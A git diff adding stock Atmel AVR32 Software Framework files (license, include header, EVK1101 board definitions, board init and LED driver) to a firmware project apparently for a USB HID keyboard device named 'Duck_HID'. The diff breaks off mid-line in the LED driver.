../src/asf/avr32/utils/preprocessor + ../src/asf/common/boards + ../src/asf/common/services/storage/ctrl_access + ../src/asf/common/utils + ../src/config + ../src/asf/avr32/drivers/usbb + ../src/asf/common/services/sleepmgr + ../src/asf/common/services/clock + ../src/asf/common/services/usb + ../src/asf/common/services/usb/udc + ../src/asf/common/services/usb/class/hid + ../src/asf/common/services/usb/class/hid/device/kbd + ../src/asf/common/services/usb/class/hid/device + + + -mrelax + + + ../src + ../src/asf/avr32/boards + ../src/asf/avr32/boards/evk1101 + ../src/asf/avr32/drivers/flashc + ../src/asf/avr32/drivers/gpio + ../src/asf/avr32/drivers/intc + ../src/asf/avr32/drivers/pm + ../src/asf/avr32/drivers/spi + ../src/asf/avr32/services/fs/fat + ../src/asf/avr32/services/fs/fat/fat_example + ../src/asf/avr32/utils + ../src/asf/avr32/utils/preprocessor + ../src/asf/common/boards + ../src/asf/common/services/storage/ctrl_access + ../src/asf/common/utils + ../src/config + ../src/asf/avr32/drivers/usbb + ../src/asf/common/services/sleepmgr + ../src/asf/common/services/clock + ../src/asf/common/services/usb + ../src/asf/common/services/usb/udc + ../src/asf/common/services/usb/class/hid + ../src/asf/common/services/usb/class/hid/device/kbd + ../src/asf/common/services/usb/class/hid/device + + + + + + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/license.txt b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/license.txt new file mode 100755 index 0000000..11194ac --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/license.txt @@ -0,0 +1,34 @@ +/** + * Main file of the USB mass-storage example. + * + * Copyright (c) 2009-2012 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + + * + */ \ No newline at end of file diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf.h new file mode 100755 index 0000000..9f340b3 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf.h @@ -0,0 +1,102 @@ +/** + * \file + * + * \brief Autogenerated API include file for the AVR Software Framework (ASF) + * + * Copyright (C) 2011 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ + +#ifndef ASF_H +#define ASF_H + +/* + * This file includes all API header files for the selected drivers from ASF. + * Note: There might be duplicate includes required by more than one driver. + * + * The file is automatically generated and will be re-written when + * running the ASF driver selector tool. Any changes will be discarded. + */ + +// From module: CPU - Interrupt management +#include + +// From module: CPU - PM - Power Manager +#include +#include + +// From module: CPU - SLEEP - Sleep manager +#include +#include + +// From module: FAT file system +#include +#include +#include +#include + +// From module: GPIO - General-Purpose Input/Output +#include + +// From module: MEMORY - FLASHC - Flash Controller +#include + +// From module: MEMORY - Memory Control Access +#include + +// From module: SPI - Serial Peripheral Interface +#include + +// From module: TIMING - Clock Control +#include + +// From module: USB Device Stack Core +#include +#include + +// From module: USB HID Device protocol +#include + +// From module: USB HID Keyboard (Single Interface Device) +#include + +// From module: USB HID Library (Device) +#include + +// From module: UTILITY - Compiler abstraction layer and code utilities +#include +#include + +// From module: UTILITY - Generic board support +#include + +#endif // ASF_H diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/boards/evk1101/evk1101.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/boards/evk1101/evk1101.h new file mode 100755 index 0000000..4956f20 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/boards/evk1101/evk1101.h @@ -0,0 +1,290 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief AT32UC3B EVK1101 board header file. + * + * This file contains definitions and services related to the features of the + * EVK1101 board rev. A and B. + * + * To use this board, define BOARD=EVK1101. + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 AT32UC3B devices can be used. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#ifndef _EVK1101_H_ +#define _EVK1101_H_ + +#include "compiler.h" + +#ifdef __AVR32_ABI_COMPILER__ // Automatically defined when compiling for AVR32, not when assembling. +# include "led.h" +#endif // __AVR32_ABI_COMPILER__ + + +/*! \name Oscillator Definitions + */ +//! @{ + +#if UC3B +#define FOSC32 32768 //!< Osc32 frequency: Hz. +#define OSC32_STARTUP AVR32_PM_OSCCTRL32_STARTUP_8192_RCOSC //!< Osc32 startup time: RCOsc periods. + +#define FOSC0 12000000 //!< Osc0 frequency: Hz. +#define OSC0_STARTUP AVR32_PM_OSCCTRL0_STARTUP_2048_RCOSC //!< Osc0 startup time: RCOsc periods. +#elif UC3D +#define FOSC32 32768 //!< Osc32 frequency: Hz. +#define OSC32_STARTUP AVR32_SCIF_OSCCTRL32_STARTUP_8192_RCOSC //!< Osc32 startup time: RCOsc periods. + +#define FOSC0 12000000 //!< Osc0 frequency: Hz. +#define OSC0_STARTUP AVR32_SCIF_OSCCTRL0_STARTUP_2048_RCOSC //!< Osc0 startup time: RCOsc periods. + +#endif + +// Osc1 crystal is not mounted by default. Set the following definitions to the +// appropriate values if a custom Osc1 crystal is mounted on your board. +//#define FOSC1 12000000 //!< Osc1 frequency: Hz. +//#define OSC1_STARTUP AVR32_PM_OSCCTRL1_STARTUP_2048_RCOSC //!< Osc1 startup time: RCOsc periods. + +//! @} + +/* These are documented in services/basic/clock/uc3b0_b1/osc.h */ +#define BOARD_OSC0_HZ 12000000 +#define BOARD_OSC0_STARTUP_US 17000 +#define BOARD_OSC0_IS_XTAL true +#define BOARD_OSC32_HZ 32768 +#define BOARD_OSC32_STARTUP_US 71000 +#define BOARD_OSC32_IS_XTAL true + +/*! \name USB Definitions + */ +//! @{ + +//! Multiplexed pin used for USB_ID: AVR32_USBB_USB_ID_x_x. +//! To be selected according to the AVR32_USBB_USB_ID_x_x_PIN and +//! AVR32_USBB_USB_ID_x_x_FUNCTION definitions from . +#define USB_ID AVR32_USBB_USB_ID_0_0 + +//! Multiplexed pin used for USB_VBOF: AVR32_USBB_USB_VBOF_x_x. +//! To be selected according to the AVR32_USBB_USB_VBOF_x_x_PIN and +//! AVR32_USBB_USB_VBOF_x_x_FUNCTION definitions from . +#define USB_VBOF AVR32_USBB_USB_VBOF_0_0 + +//! Active level of the USB_VBOF output pin. +#define USB_VBOF_ACTIVE_LEVEL LOW + +//! USB overcurrent detection pin. +#define USB_OVERCURRENT_DETECT_PIN AVR32_PIN_PA20 + +//! @} + + +//! Number of LEDs. +#define LED_COUNT 4 + +/*! \name GPIO Connections of LEDs + */ +//! @{ +#define LED0_GPIO AVR32_PIN_PA07 +#define LED1_GPIO AVR32_PIN_PA08 +#define LED2_GPIO AVR32_PIN_PA21 +#define LED3_GPIO AVR32_PIN_PA22 +//! @} + +/*! \name PWM Channels of LEDs + */ +//! @{ +#define LED0_PWM 0 +#define LED1_PWM 1 +#define LED2_PWM 2 +#define LED3_PWM 6 +//! @} + +/*! \name PWM Functions of LEDs + */ +//! @{ +#define LED0_PWM_FUNCTION AVR32_PWM_0_0_FUNCTION +#define LED1_PWM_FUNCTION AVR32_PWM_1_0_FUNCTION +#define LED2_PWM_FUNCTION AVR32_PWM_2_0_FUNCTION +#define LED3_PWM_FUNCTION AVR32_PWM_6_0_FUNCTION +//! @} + +/*! \name Color Identifiers of LEDs to Use with LED Functions + */ +//! @{ +#define LED_MONO0_GREEN LED0 +#define LED_MONO1_GREEN LED1 +#define LED_MONO2_GREEN LED2 +#define LED_MONO3_GREEN LED3 +//! @} + + +/*! \name GPIO Connections of Push Buttons + */ +//! @{ +#define GPIO_PUSH_BUTTON_0 AVR32_PIN_PB02 +#define GPIO_PUSH_BUTTON_0_PRESSED 0 +#define GPIO_PUSH_BUTTON_1 AVR32_PIN_PB03 +#define GPIO_PUSH_BUTTON_1_PRESSED 0 +//! @} + + +/*! \name GPIO Connections of the Joystick + */ +//! @{ +#define GPIO_JOYSTICK_PUSH AVR32_PIN_PA13 +#define GPIO_JOYSTICK_PUSH_PRESSED 0 +#define GPIO_JOYSTICK_LEFT AVR32_PIN_PB06 +#define GPIO_JOYSTICK_LEFT_PRESSED 0 +#define GPIO_JOYSTICK_RIGHT AVR32_PIN_PB09 +#define GPIO_JOYSTICK_RIGHT_PRESSED 0 +#define GPIO_JOYSTICK_UP AVR32_PIN_PB07 +#define GPIO_JOYSTICK_UP_PRESSED 0 +#define GPIO_JOYSTICK_DOWN AVR32_PIN_PB08 +#define GPIO_JOYSTICK_DOWN_PRESSED 0 +//! @} + + +/*! \name ADC Connection of the Temperature Sensor + */ +//! @{ +#define ADC_TEMPERATURE_CHANNEL 7 +#define ADC_TEMPERATURE_PIN AVR32_ADC_AD_7_PIN +#define ADC_TEMPERATURE_FUNCTION AVR32_ADC_AD_7_FUNCTION +//! @} + + +/*! \name ADC Connection of the Light Sensor + */ +//! @{ +#define ADC_LIGHT_CHANNEL 6 +#define ADC_LIGHT_PIN AVR32_ADC_AD_6_PIN +#define ADC_LIGHT_FUNCTION AVR32_ADC_AD_6_FUNCTION +//! @} + + +/*! \name ADC Connections of the Accelerometer + */ +//! @{ +#define ADC_ACC_X_CHANNEL 1 +#define ADC_ACC_X_PIN AVR32_ADC_AD_1_PIN +#define ADC_ACC_X_FUNCTION AVR32_ADC_AD_1_FUNCTION +#define ADC_ACC_Y_CHANNEL 2 +#define ADC_ACC_Y_PIN AVR32_ADC_AD_2_PIN +#define ADC_ACC_Y_FUNCTION AVR32_ADC_AD_2_FUNCTION +#define ADC_ACC_Z_CHANNEL 3 +#define ADC_ACC_Z_PIN AVR32_ADC_AD_3_PIN +#define ADC_ACC_Z_FUNCTION AVR32_ADC_AD_3_FUNCTION +//! @} + + +/*! \name PWM Connections of Audio + */ +//! @{ +#define AUDIO_LOW_PWM_CHANNEL 5 +#define AUDIO_LOW_PWM_PIN AVR32_PWM_5_0_PIN +#define AUDIO_LOW_PWM_FUNCTION AVR32_PWM_5_0_FUNCTION +#define AUDIO_HIGH_PWM_CHANNEL 6 +#define AUDIO_HIGH_PWM_PIN AVR32_PWM_6_1_PIN +#define AUDIO_HIGH_PWM_FUNCTION AVR32_PWM_6_1_FUNCTION +//! @} + + +/*! \name SPI Connections of the AT45DBX Data Flash Memory + */ +//! @{ +#define AT45DBX_SPI (&AVR32_SPI) +#define AT45DBX_SPI_NPCS 0 +#define AT45DBX_SPI_SCK_PIN AVR32_SPI_SCK_0_0_PIN +#define AT45DBX_SPI_SCK_FUNCTION AVR32_SPI_SCK_0_0_FUNCTION +#define AT45DBX_SPI_MISO_PIN AVR32_SPI_MISO_0_0_PIN +#define AT45DBX_SPI_MISO_FUNCTION AVR32_SPI_MISO_0_0_FUNCTION +#define AT45DBX_SPI_MOSI_PIN AVR32_SPI_MOSI_0_0_PIN +#define AT45DBX_SPI_MOSI_FUNCTION AVR32_SPI_MOSI_0_0_FUNCTION +#define AT45DBX_SPI_NPCS0_PIN AVR32_SPI_NPCS_0_0_PIN +#define AT45DBX_SPI_NPCS0_FUNCTION AVR32_SPI_NPCS_0_0_FUNCTION +//! @} + + +/*! \name GPIO and SPI Connections of the SD/MMC Connector + */ +//! @{ +#define SD_MMC_CARD_DETECT_PIN AVR32_PIN_PB00 +#define SD_MMC_WRITE_PROTECT_PIN AVR32_PIN_PB01 +#define SD_MMC_SPI (&AVR32_SPI) +#define SD_MMC_SPI_NPCS 1 +#define SD_MMC_SPI_SCK_PIN AVR32_SPI_SCK_0_0_PIN +#define SD_MMC_SPI_SCK_FUNCTION AVR32_SPI_SCK_0_0_FUNCTION +#define SD_MMC_SPI_MISO_PIN AVR32_SPI_MISO_0_0_PIN +#define SD_MMC_SPI_MISO_FUNCTION AVR32_SPI_MISO_0_0_FUNCTION +#define SD_MMC_SPI_MOSI_PIN AVR32_SPI_MOSI_0_0_PIN +#define SD_MMC_SPI_MOSI_FUNCTION AVR32_SPI_MOSI_0_0_FUNCTION +#define SD_MMC_SPI_NPCS_PIN AVR32_SPI_NPCS_1_0_PIN +#define SD_MMC_SPI_NPCS_FUNCTION AVR32_SPI_NPCS_1_0_FUNCTION +//! @} + + +/*! \name TWI Connections of the Spare TWI Connector + */ +//! @{ +#define SPARE_TWI (&AVR32_TWI) +#define SPARE_TWI_SCL_PIN AVR32_TWI_SCL_0_0_PIN +#define SPARE_TWI_SCL_FUNCTION AVR32_TWI_SCL_0_0_FUNCTION +#define SPARE_TWI_SDA_PIN AVR32_TWI_SDA_0_0_PIN +#define SPARE_TWI_SDA_FUNCTION AVR32_TWI_SDA_0_0_FUNCTION +//! @} + + +/*! \name SPI Connections of the Spare SPI Connector + */ +//! @{ +#define SPARE_SPI (&AVR32_SPI) +#define SPARE_SPI_NPCS 2 +#define SPARE_SPI_SCK_PIN AVR32_SPI_SCK_0_0_PIN +#define SPARE_SPI_SCK_FUNCTION AVR32_SPI_SCK_0_0_FUNCTION +#define SPARE_SPI_MISO_PIN AVR32_SPI_MISO_0_0_PIN +#define SPARE_SPI_MISO_FUNCTION AVR32_SPI_MISO_0_0_FUNCTION +#define SPARE_SPI_MOSI_PIN AVR32_SPI_MOSI_0_0_PIN +#define SPARE_SPI_MOSI_FUNCTION AVR32_SPI_MOSI_0_0_FUNCTION +#define SPARE_SPI_NPCS_PIN AVR32_SPI_NPCS_2_0_PIN +#define SPARE_SPI_NPCS_FUNCTION AVR32_SPI_NPCS_2_0_FUNCTION +//! @} + + +#endif // _EVK1101_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/boards/evk1101/init.c b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/boards/evk1101/init.c new file mode 100755 index 0000000..9cf9374 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/boards/evk1101/init.c @@ -0,0 +1,126 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief EVK1101 board init. + * + * This file contains board initialization function. + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR + * - Supported devices: All AVR UC3 devices can be used. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + */ + + +#include "compiler.h" +#include "evk1101.h" +#include "conf_board.h" +#include "gpio.h" +#include "board.h" + +#if defined (CONF_BOARD_AT45DBX) +#define AT45DBX_MEM_CNT 1 +#endif + +void board_init(void) +{ + gpio_configure_pin(LED0_GPIO,GPIO_DIR_OUTPUT | GPIO_INIT_HIGH); + gpio_configure_pin(LED1_GPIO,GPIO_DIR_OUTPUT | GPIO_INIT_HIGH); + gpio_configure_pin(LED2_GPIO,GPIO_DIR_OUTPUT | GPIO_INIT_HIGH); + gpio_configure_pin(LED3_GPIO,GPIO_DIR_OUTPUT | GPIO_INIT_HIGH); + + gpio_configure_pin(GPIO_PUSH_BUTTON_0,GPIO_DIR_INPUT); + gpio_configure_pin(GPIO_PUSH_BUTTON_1,GPIO_DIR_INPUT); + gpio_configure_pin(GPIO_JOYSTICK_PUSH,GPIO_DIR_INPUT); + gpio_configure_pin(GPIO_JOYSTICK_LEFT,GPIO_DIR_INPUT); + gpio_configure_pin(GPIO_JOYSTICK_UP,GPIO_DIR_INPUT); + gpio_configure_pin(GPIO_JOYSTICK_DOWN,GPIO_DIR_INPUT); + +#if defined (CONF_BOARD_AT45DBX) + static const gpio_map_t AT45DBX_SPI_GPIO_MAP = + { + {AT45DBX_SPI_SCK_PIN, AT45DBX_SPI_SCK_FUNCTION }, // SPI Clock. + {AT45DBX_SPI_MISO_PIN, AT45DBX_SPI_MISO_FUNCTION }, // MISO. + {AT45DBX_SPI_MOSI_PIN, AT45DBX_SPI_MOSI_FUNCTION }, // MOSI. + #define AT45DBX_ENABLE_NPCS_PIN(NPCS, unused) \ + {AT45DBX_SPI_NPCS##NPCS##_PIN, AT45DBX_SPI_NPCS##NPCS##_FUNCTION}, // Chip Select NPCS. + MREPEAT(AT45DBX_MEM_CNT, AT45DBX_ENABLE_NPCS_PIN, ~) + #undef AT45DBX_ENABLE_NPCS_PIN + }; + + // Assign I/Os to SPI. + gpio_enable_module(AT45DBX_SPI_GPIO_MAP, + sizeof(AT45DBX_SPI_GPIO_MAP) / sizeof(AT45DBX_SPI_GPIO_MAP[0])); +#endif + +#if defined (CONF_BOARD_TWI) + static const gpio_map_t TWI_GPIO_MAP = + { + {AVR32_TWI_SDA_0_0_PIN, AVR32_TWI_SDA_0_0_FUNCTION}, + {AVR32_TWI_SCL_0_0_PIN, AVR32_TWI_SCL_0_0_FUNCTION} + }; + + // TWI gpio pins configuration + gpio_enable_module(TWI_GPIO_MAP, sizeof(TWI_GPIO_MAP) / sizeof(TWI_GPIO_MAP[0])); +#endif + +#if defined (CONF_BOARD_COM_PORT) + static const gpio_map_t COMPORT_GPIO_MAP = + { + {AVR32_USART1_RXD_0_0_PIN, AVR32_USART1_RXD_0_0_FUNCTION }, + {AVR32_USART1_TXD_0_0_PIN, AVR32_USART1_TXD_0_0_FUNCTION } + }; + + // Assign I/Os to USART. + gpio_enable_module(COMPORT_GPIO_MAP, + sizeof(COMPORT_GPIO_MAP) / sizeof(COMPORT_GPIO_MAP[0])); +#endif + +#if UC3D + static const gpio_map_t USB_GPIO_MAP = + { + {AVR32_USBC_DP_PIN, AVR32_USBC_DP_FUNCTION}, + {AVR32_USBC_DM_PIN, AVR32_USBC_DM_FUNCTION}, + {AVR32_USBC_VBUS_PIN, AVR32_USBC_VBUS_FUNCTION} + }; + + // Assign GPIO pins to USB. + gpio_enable_module(USB_GPIO_MAP, + sizeof(USB_GPIO_MAP) / sizeof(USB_GPIO_MAP[0])); +#endif + +} diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/boards/evk1101/led.c b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/boards/evk1101/led.c new file mode 100755 index 0000000..14db432 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/boards/evk1101/led.c @@ -0,0 +1,344 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief AT32UC3B EVK1101 board LEDs support package. + * + * This file contains definitions and services related to the LED features of + * the EVK1101 board. + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 AT32UC3B devices can be used. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#include +#include "preprocessor.h" +#include "compiler.h" +#include "evk1101.h" +#include "led.h" + + +//! Structure describing LED hardware connections. +typedef const struct +{ + struct + { + U32 PORT; //!< LED GPIO port. + U32 PIN_MASK; //!< Bit-mask of LED pin in GPIO port. + } GPIO; //!< LED GPIO descriptor. + struct + { + S32 CHANNEL; //!< LED PWM channel (< 0 if N/A). + S32 FUNCTION; //!< LED pin PWM function (< 0 if N/A). + } PWM; //!< LED PWM descriptor. +} tLED_DESCRIPTOR; + + +//! Hardware descriptors of all LEDs. +static tLED_DESCRIPTOR LED_DESCRIPTOR[LED_COUNT] = +{ +#define INSERT_LED_DESCRIPTOR(LED_NO, unused) \ + { \ + {LED##LED_NO##_GPIO / 32, 1 << (LED##LED_NO##_GPIO % 32)},\ + {LED##LED_NO##_PWM, LED##LED_NO##_PWM_FUNCTION } \ + }, + MREPEAT(LED_COUNT, INSERT_LED_DESCRIPTOR, ~) +#undef INSERT_LED_DESCRIPTOR +}; + + +//! Saved state of all LEDs. +static volatile U32 LED_State = (1 << LED_COUNT) - 1; + + +U32 LED_Read_Display(void) +{ + return LED_State; +} + + +void LED_Display(U32 leds) +{ + // Use the LED descriptors to get the connections of a given LED to the MCU. + tLED_DESCRIPTOR *led_descriptor; + volatile avr32_gpio_port_t *led_gpio_port; + + // Make sure only existing LEDs are specified. + leds &= (1 << LED_COUNT) - 1; + + // Update the saved state of all LEDs with the requested changes. + LED_State = leds; + + // For all LEDs... + for (led_descriptor = &LED_DESCRIPTOR[0]; + led_descriptor < LED_DESCRIPTOR + LED_COUNT; + led_descriptor++) + { + // Set the LED to the requested state. + led_gpio_port = &AVR32_GPIO.port[led_descriptor->GPIO.PORT]; + if (leds & 1) + { + led_gpio_port->ovrc = led_descriptor->GPIO.PIN_MASK; + } + else + { + led_gpio_port->ovrs = led_descriptor->GPIO.PIN_MASK; + } + led_gpio_port->oders = led_descriptor->GPIO.PIN_MASK; + led_gpio_port->gpers = led_descriptor->GPIO.PIN_MASK; + leds >>= 1; + } +} + + +U32 LED_Read_Display_Mask(U32 mask) +{ + return Rd_bits(LED_State, mask); +} + + +void LED_Display_Mask(U32 mask, U32 leds) +{ + // Use the LED descriptors to get the connections of a given LED to the MCU. + tLED_DESCRIPTOR *led_descriptor = &LED_DESCRIPTOR[0] - 1; + volatile avr32_gpio_port_t *led_gpio_port; + U8 led_shift; + + // Make sure only existing LEDs are specified. + mask &= (1 